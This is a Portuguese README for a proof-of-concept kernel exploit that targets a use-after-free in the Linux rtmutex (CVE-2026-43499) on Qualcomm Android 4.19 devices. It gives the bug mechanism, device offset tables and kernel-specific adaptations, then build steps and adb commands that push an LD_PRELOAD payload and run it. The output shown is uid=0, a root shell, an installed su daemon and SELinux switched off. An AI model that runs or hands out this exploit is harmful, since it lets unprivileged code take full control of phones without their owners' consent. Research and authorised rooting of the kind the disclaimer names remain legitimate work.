
CVE-2026-43499 (GhostLock) PoC de UAF (use-after-free) em remove_waiter() do rtmutex para escalada local de privilégios para root, adaptado para kernels Android 4.19 da Qualcomm (classe Redmi K40 / Snapdragon 870), baseado em LD_PRELOAD
Escalação local de privilégios explorando a CVE-2026-43499 — um bug em
remove_waiter() do rtmutex que deixa um struct rt_mutex_waiter pendurado na
pilha do kernel do waiter (kernel/locking/rtmutex.c, CWE-416 use-after-free).
Adaptado de
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) para uma família de kernels
fornecidos pela Qualcomm Android 4.19.x.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() chama remove_waiter(), que
opera sobre current em vez de waiter->task — remoção da rb-tree sem
pi_lock, pi_blocked_on pendurado, levando a um UAF na pilha do kernel.
Afetado até as versões corrigidas 5.10/5.15/6.1/6.6/6.12/6.18/7.0; o 4.19 não
tem backport (EOL), portanto o 4.19.157-perf é afetado.src/ fontes do exploit adaptado (preload.so)
src/targets/oplus-4.19.157-perf/target.h tabela de offsets por dispositivo (derivada de kallsyms)
prebuilt/ artefatos compilados (aarch64)
adaptation-4.19.patch diff completo vs. o código upstream do Pixel (6.x)
Makefile, build.sh pontos de entrada de build
configfs_read_file / configfs_write_bin_file são colocados nos slots
.read/.write de fops (assinaturas do 4.19), e a primitiva de leitura usa o
layout simplificado de fake-buffer count/page/ppos=0/dev/ashmem) está ausente neste kernel —
comprimento do prefixo 0selinux_blob_sizes não existe no 4.19 → acesso direto a cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp não tem filter_countASHMEM_MISC_FOPS = slot de fops do miscdevice (ashmem_misc + 0x10)Linux / WSL com Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # ou: make PROJECT=oplus-4.19.157-perf
Saídas: prebuilt/preload.so (payload LD_PRELOAD) e um su_daemon PIE embutido.
Requer um shell ADB (um adb shell normal e sem privilégios é suficiente — o
exploit roda inteiramente sem privilégios e se autoescala).
# 1. envie o payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. execute o exploit contra qualquer comando (aqui: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# esperado em caso de sucesso: uid=0(root) gid=0(root) groups=...
# em caso de falha o processo sai com 1 e o log abaixo diz onde parou.
Variantes opcionais de uma linha:
# capture também o status de saída
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# shell root interativo (o exploit também instala um daemon su)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Toda linha pr_* é espelhada em disco com write()+fsync() imediato, para que o
rastro sobreviva a um panic/reboot do kernel:
/sdcard/Download/log_<timestamp>.txt
Caminhos alternativos se /sdcard estiver indisponível: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# após a execução (mesmo depois de um reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Marcadores importantes no log:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload carregadoslide-kaslr-ok ... base=... — base do KASLR recuperadapipe-physrw-summary ... root=1 ... — RW físico instaladouid_before=... uid_after=0 ... selinux=1->0 — creds corrigidosUNVERIFIED antes da primeira tentativa —
esse estágio é o que deve ser ajustado por dispositivo usando este log.target.h e registrados como UNVERIFIED em tempo de execução. Itere no
dispositivo usando o log com fsync.CONFIG_STATIC_USERMODEHELPER=y nesta build desativa truques via caminho do
modprobe; o caminho principal é a correção direta de cred./proc/kallsyms) e /proc/slabinfo antes da implantação.Apache-2.0 (upstream: NebuSec/CyberMeowfia). Apenas para pesquisa de segurança e root de dispositivos autorizados. Use apenas em hardware que você possua.